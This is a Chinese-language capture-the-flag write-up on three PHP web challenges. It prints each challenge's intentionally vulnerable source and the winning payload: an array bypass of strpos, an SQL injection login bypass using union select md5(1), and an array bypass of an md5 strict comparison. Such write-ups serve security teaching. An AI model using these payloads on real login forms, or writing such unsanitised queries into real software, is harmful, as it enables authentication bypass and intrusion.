一、strpos數組繞過NULL
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
?>
定義和用法
strpos() 函數查找字符串在另一字符串中第一次出現的位置。
它不能對數組處理,如果是數組則返回null,null,也就不等於FALSE.
payload爲?nctf[]=1
二、密碼md5比較繞過
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
審計源碼可知,要想得到flag,只需要同時滿足
($query[pw]) && (!strcasecmp($pass, $query[pw]))
$user
變量我們是可以控制的,然後又沒有任何過濾措施
我們就可以直接利用這個語句選擇一個相應的密碼給對應的pw
如果前面的用戶名不存在的話
mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user’”));
取到的東西就是空,然後在加上我們的md5密碼,就可以實現成功登陸
strcasecmp函數,比較2個字符串,不區分大小寫。如果2個字符串大小相等就返回0。
最後payload
user=1’ union select md5(1)%23&pass=1
三、MD5函數===繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
由於md5解析不了數組,返回空。
payload:?username[]=1&password[]=2